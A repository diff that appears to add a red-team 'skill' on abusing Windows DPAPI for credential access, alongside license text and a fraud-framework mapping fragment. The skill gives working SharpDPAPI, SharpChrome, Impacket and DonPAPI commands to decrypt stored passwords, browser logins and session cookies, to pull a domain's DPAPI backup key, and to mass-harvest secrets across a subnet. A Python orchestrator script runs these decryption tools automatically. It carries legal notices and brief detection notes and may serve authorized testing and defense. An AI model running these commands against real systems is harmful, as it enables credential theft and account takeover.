name: 'Account Manipulation: Add Beneficiary'
tactic: positioning
source: f3 # F-prefixed = fraud-specific
- id: T1586
name: Compromise Accounts
tactic: resource-development
source: attack # T-prefixed = reused ATT&CK
```
Rules:
1. `id` must be a real F3 v1.1 technique ID.
2. `name` must match the technique's official name in the F3 catalog.
3. `tactic` must be one the technique actually lists in the catalog.
4. `source` is `f3` for `F1XXX` IDs and `attack` for `T1XXX` IDs.
## Scope
F3 mappings are applied only to **fraud-relevant skills** — phishing/social
engineering, account takeover, banking malware/stealers, BEC, identity/KYC,
payment/card fraud, money-mule/cash-out, ransomware extortion, and the cross-cutting
DFIR and threat-intelligence skills. Skills with no fraud dimension do not carry an
`mitre_f3` block.
## Regenerating / verifying the catalog
```bash
git clone --depth 1 https://github.com/center-for-threat-informed-defense/fight-fraud-framework
# technique catalog is the STIX bundle:
# fight-fraud-framework/public/f3-stix-v1.1.json
```
All `mitre_f3` IDs in this repo are validated against that bundle on every update.
+1 -1
View File
File diff suppressed because one or more lines are too long
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,209 @@
---
name: abusing-dpapi-for-credential-access
description: Extract DPAPI-protected secrets such as credentials and browser data offline and online.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- credential-access
- dpapi
- sharpdpapi
- post-exploitation
- active-directory
- windows
- mimikatz
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
mitre_attack:
- T1555.004
---
# Abusing DPAPI for Credential Access
> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.
## Overview
The Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual "DPAPI blobs." The encrypted master keys live under `%APPDATA%\Microsoft\Protect\<SID>\` (user) and `%WINDIR%\System32\Microsoft\Protect\` (machine).
Red teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:
1. **Online / context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `/unprotect` flag uses this.
2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `/password:` or `/ntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).
3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `/pvk:`.
The canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote/offline triage.
## When to Use
- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.
- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.
- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.
- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.
- During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.
## Prerequisites
- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.
- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.
- Tooling (compile from source or use release binaries; obtain only from official upstreams):
```bash
# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Open SharpDPAPI.sln and build Release, or:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (original DPAPI implementation)
# https://github.com/gentilkiwi/mimikatz/releases
# Linux remote/offline triage (Impacket)
pipx install impacket # provides dpapi.py / impacket-dpapi
pipx install donpapi # https://github.com/login-securite/DonPAPI
```
## Objectives
- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.
- Decrypt user master keys online (`/unprotect`), with a password/hash, or with the domain backup key.
- Recover plaintext Credential Manager and Vault secrets.
- Extract browser saved logins and cookies with SharpChrome.
- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.
## MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Relevance |
|--------------|------|--------|-----------|
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |
| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |
## Workflow
### 1. Triage the host for DPAPI blobs
Run the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:
```powershell
# Online triage in the current user's context (uses CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
SharpDPAPI.exe machinetriage
```
### 2. Decrypt user master keys offline (password or NTLM hash)
If you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:
```powershell
# Decrypt all of the current/specified user's master keys with the password
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# Decrypt master keys with the user's NTLM hash instead of the password
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# Output is GUID:SHA1 lines — feed them to credentials/vaults commands
```
### 3. Recover Credential Manager and Vault secrets
Use the decrypted master-key mapping (or `/pvk:`) to decrypt the stored credentials and vault entries:
```powershell
# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# Or point at a target Credentials folder and decrypt with the domain backup key
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# Decrypt Credential Vault entries
SharpDPAPI.exe vaults /pvk:backupkey.pvk
```
### 4. Decrypt RDP, KeePass, and certificate secrets
```powershell
# Saved RDCMan.settings RDP passwords (current user context)
SharpDPAPI.exe rdg /unprotect
# KeePass DPAPI-protected master keys
SharpDPAPI.exe keepass /unprotect
# Certificate private keys (export usable .pem with /showall for all stores)
SharpDPAPI.exe certificates /unprotect /showall
```
### 5. Extract browser credentials with SharpChrome
SharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound "state key" that SharpChrome resolves via DPAPI:
```powershell
# Decrypt saved logins for the current user
SharpChrome.exe logins /unprotect
# Decrypt cookies (useful for session hijacking) in a target folder
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# Resolve the AES state key explicitly
SharpChrome.exe statekeys /unprotect
```
### 6. Obtain the domain DPAPI backup key (Domain Admin)
With Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:
```powershell
# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
```
Then decrypt any user's master keys offline with it:
```powershell
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
```
### 7. Remote / Linux-based triage (Impacket / DonPAPI)
From a Linux operator box, harvest and decrypt DPAPI secrets across hosts:
```bash
# Decrypt a single masterkey file with Impacket using the domain backup key
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
# Decrypt a credential blob with the recovered masterkey
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
# Mass remote DPAPI looting across hosts with DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
```
## Tools and Resources
| Tool | Purpose | Link |
|------|---------|------|
| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |
| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
## Detection and OPSEC Notes
- Master-key access and reads of `\Microsoft\Protect\` and `\Microsoft\Credentials\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.
- The `/unprotect` (online) path is the stealthiest single-host option but only works as the live user.
- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).
## Validation Criteria
- [ ] Host triaged with `SharpDPAPI triage` / `machinetriage`.
- [ ] User master keys decrypted via `/unprotect`, `/password:`, `/ntlm:`, or `/pvk:`.
- [ ] Credential Manager and Vault secrets recovered.
- [ ] RDP / KeePass / certificate secrets extracted where present.
- [ ] Browser logins/cookies decrypted with SharpChrome.
- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.
- [ ] All recovered secrets documented with source host/user and ROE adherence confirmed.
@@ -0,0 +1,73 @@
# SharpDPAPI / DPAPI — Command Reference
## SharpDPAPI User Commands
| Command | Purpose | Example |
|---------|---------|---------|
| `triage` | Auto-run credentials, vaults, rdg, certificates | `SharpDPAPI.exe triage /unprotect` |
| `masterkeys` | Decrypt user master keys (GUID:SHA1 output) | `SharpDPAPI.exe masterkeys /password:Pass` |
| `credentials` | Decrypt Credential Manager blobs | `SharpDPAPI.exe credentials /pvk:key.pvk` |
| `vaults` | Decrypt Credential Vault entries | `SharpDPAPI.exe vaults /pvk:key.pvk` |
| `rdg` | Decrypt RDCMan.settings RDP passwords | `SharpDPAPI.exe rdg /unprotect` |
| `keepass` | Decrypt KeePass DPAPI keys | `SharpDPAPI.exe keepass /unprotect` |
| `certificates` | Decrypt certificate private keys | `SharpDPAPI.exe certificates /unprotect /showall` |
## SharpDPAPI Machine Commands (require admin/SYSTEM)
| Command | Purpose |
|---------|---------|
| `machinemasterkeys` | Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |
| `machinecredentials` | Decrypt machine credential blobs |
| `machinevaults` | Decrypt machine vault entries |
| `machinetriage` | Run all machine-scoped triage commands |
## SharpDPAPI Supporting Commands
| Command | Purpose | Example |
|---------|---------|---------|
| `backupkey` | Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | `SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk` |
## Common Flags
| Flag | Meaning |
|------|---------|
| `/unprotect` | Use live `CryptUnprotectData` in current user context (online) |
| `/password:<pw>` | Decrypt master keys with the user's plaintext password |
| `/ntlm:<hash>` | Decrypt master keys with the user's NTLM hash |
| `/pvk:<file>` | Use domain backup private key for decryption |
| `/mkfile:<file>` | Provide a specific master key file |
| `/server:<dc>` | Target DC for backupkey retrieval |
| `/target:<path>` | Target file/folder to decrypt |
| `/rpc` | Use RPC to request master key decryption from a DC |
| `/showall` | Show all certificate stores / verbose output |
## SharpChrome Commands
| Command | Purpose | Example |
|---------|---------|---------|
| `logins` | Decrypt saved browser logins | `SharpChrome.exe logins /unprotect` |
| `cookies` | Decrypt browser cookies | `SharpChrome.exe cookies /pvk:key.pvk` |
| `statekeys` | Decrypt the AES app-bound state key | `SharpChrome.exe statekeys /unprotect` |
## Impacket dpapi.py (Linux)
| Subcommand | Purpose | Example |
|------------|---------|---------|
| `masterkey` | Decrypt a master key file | `impacket-dpapi masterkey -file MK -pvk key.pvk` |
| `credential` | Decrypt a credential blob | `impacket-dpapi credential -file CRED -key 0x<mk>` |
| `vault` | Decrypt vault policy/creds | `impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>` |
| `backupkeys` | Retrieve domain backup keys | `impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk` |
## Key File Locations
| Path | Contents |
|------|----------|
| `%APPDATA%\Microsoft\Protect\<SID>\` | User master keys |
| `%WINDIR%\System32\Microsoft\Protect\` | Machine master keys |
| `%LOCALAPPDATA%\Microsoft\Credentials\` | Credential Manager blobs |
| `%APPDATA%\Microsoft\Vault\` / `%LOCALAPPDATA%\Microsoft\Vault\` | Credential Vault |
## External References
- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI
- Impacket: https://github.com/fortra/impacket
@@ -0,0 +1,30 @@
# Standards and References — Abusing DPAPI for Credential Access
## NIST CSF 2.0
| ID | Name | Rationale |
|----|------|-----------|
| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface. |
## MITRE ATT&CK
| Technique ID | Name | Tactic | Rationale |
|--------------|------|--------|-----------|
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials. |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected browser logins/cookies. |
| T1003 | OS Credential Dumping | Credential Access | Extracting master keys and the domain backup key dumps credential material. |
## Supporting Frameworks and Standards
- **MS-BKRP** — BackupKey Remote Protocol; the RPC interface used to retrieve the domain DPAPI backup key.
- **MS-DPSP / DPAPI** — Microsoft's Data Protection API specification governing master keys and blob protection.
- **D3FEND** — Credential Eviction / Password Rotation as mitigations after DPAPI compromise.
## Official Resources
- SharpDPAPI / SharpChrome: https://github.com/GhostPack/SharpDPAPI
- Mimikatz: https://github.com/gentilkiwi/mimikatz
- Impacket: https://github.com/fortra/impacket
- DonPAPI: https://github.com/login-securite/DonPAPI
- HackTricks DPAPI: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
- SpecterOps "Operational Guidance for Offensive User DPAPI Abuse": https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107
@@ -0,0 +1,154 @@
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual written consent is illegal.
# It is the end user's responsibility to obey all applicable laws.
"""DPAPI triage orchestrator.
Locates DPAPI artifacts (master keys, Credential Manager blobs, Vault entries)
on a mounted/exfiltrated user profile and drives SharpDPAPI (on Windows) or
Impacket's dpapi.py (cross-platform) to decrypt them with a supplied password,
NTLM hash, or domain backup key (.pvk).
This is an operator helper: it builds and runs the real tool commands and
parses their output; it does not reimplement DPAPI cryptography.
"""
import argparse
import os
import shutil
import subprocess
import sys
from datetime import datetime, timezone
# Standard relative locations inside a Windows user profile.
PROTECT_REL = os.path.join("AppData", "Roaming", "Microsoft", "Protect")
CRED_REL = os.path.join("AppData", "Local", "Microsoft", "Credentials")
VAULT_LOCAL_REL = os.path.join("AppData", "Local", "Microsoft", "Vault")
VAULT_ROAM_REL = os.path.join("AppData", "Roaming", "Microsoft", "Vault")
def find_tool(candidates):
"""Return the first available tool path from candidates, else None."""
for name in candidates:
path = shutil.which(name)
if path:
return path
return None
def enumerate_artifacts(profile):
"""Walk a user profile and collect DPAPI artifact file paths."""
found = {"masterkeys": [], "credentials": [], "vaults": []}
mapping = {
"masterkeys": os.path.join(profile, PROTECT_REL),
"credentials": os.path.join(profile, CRED_REL),
"vaults": os.path.join(profile, VAULT_LOCAL_REL),
}
for key, base in mapping.items():
if not os.path.isdir(base):
continue
for root, _dirs, files in os.walk(base):
for fname in files:
# Master keys are GUID-named; skip preferred/BK marker files noise.
found[key].append(os.path.join(root, fname))
# Also include roaming vault if present.
vroam = os.path.join(profile, VAULT_ROAM_REL)
if os.path.isdir(vroam):
for root, _dirs, files in os.walk(vroam):
for fname in files:
found["vaults"].append(os.path.join(root, fname))
return found
def run_cmd(cmd, timeout):
"""Run an external command and return (rc, stdout, stderr)."""
try:
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return proc.returncode, proc.stdout, proc.stderr
except FileNotFoundError:
return 127, "", f"tool not found: {cmd[0]}"
except subprocess.TimeoutExpired:
return 124, "", f"timeout after {timeout}s"
def decrypt_masterkey_impacket(tool, mk_file, pvk, timeout):
"""Decrypt one master key file via impacket-dpapi using a backup .pvk."""
cmd = [tool, "masterkey", "-file", mk_file, "-pvk", pvk]
rc, out, err = run_cmd(cmd, timeout)
return {"file": mk_file, "rc": rc, "output": (out or err).strip()[:2000]}
def sharpdpapi_triage(tool, profile, pvk, password, ntlm, timeout):
"""Build and run a SharpDPAPI triage command appropriate to the inputs."""
cmd = [tool, "triage"]
if pvk:
cmd += [f"/pvk:{pvk}"]
elif password:
cmd += [f"/password:{password}"]
elif ntlm:
cmd += [f"/ntlm:{ntlm}"]
else:
cmd += ["/unprotect"]
rc, out, err = run_cmd(cmd, timeout)
return {"rc": rc, "output": (out or err).strip()}
def main():
parser = argparse.ArgumentParser(description="Authorized DPAPI triage helper")
parser.add_argument("--profile", help="Path to a (mounted) Windows user profile")
parser.add_argument("--pvk", help="Domain DPAPI backup key (.pvk)")
parser.add_argument("--password", help="User plaintext password")
parser.add_argument("--ntlm", help="User NTLM hash")
parser.add_argument("--mode", choices=["enumerate", "impacket", "sharpdpapi"],
default="enumerate",
help="enumerate artifacts, or drive a decryption tool")
parser.add_argument("--timeout", type=int, default=120, help="Per-command timeout")
args = parser.parse_args()
ts = datetime.now(timezone.utc).isoformat()
print(f"[*] DPAPI triage helper — {ts}")
print("[!] Authorized use only. Confirm rules-of-engagement before proceeding.\n")
if args.mode in ("enumerate", "impacket"):
if not args.profile or not os.path.isdir(args.profile):
print("[!] --profile must point to an existing user profile directory",
file=sys.stderr)
sys.exit(2)
artifacts = enumerate_artifacts(args.profile)
for kind, items in artifacts.items():
print(f"--- {kind.upper()} ({len(items)}) ---")
for p in items:
print(f" {p}")
if args.mode == "impacket":
if not args.pvk:
print("\n[!] --pvk required for impacket master key decryption",
file=sys.stderr)
sys.exit(2)
tool = find_tool(["impacket-dpapi", "dpapi.py"])
if not tool:
print("[!] impacket-dpapi not found. Install: pipx install impacket",
file=sys.stderr)
sys.exit(2)
print("\n=== Decrypting master keys with backup key ===")
for mk in artifacts["masterkeys"]:
res = decrypt_masterkey_impacket(tool, mk, args.pvk, args.timeout)
print(f" [{res['rc']}] {res['file']}")
if res["output"]:
print(f" {res['output'][:300]}")
return
# sharpdpapi mode (Windows operator host)
tool = find_tool(["SharpDPAPI.exe", "SharpDPAPI"])
if not tool:
print("[!] SharpDPAPI not found on PATH. Build from "
"https://github.com/GhostPack/SharpDPAPI", file=sys.stderr)
sys.exit(2)
result = sharpdpapi_triage(tool, args.profile, args.pvk, args.password,
args.ntlm, args.timeout)
print("=== SharpDPAPI triage ===")
print(result["output"])
sys.exit(0 if result["rc"] == 0 else 1)
if __name__ == "__main__":
main()
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
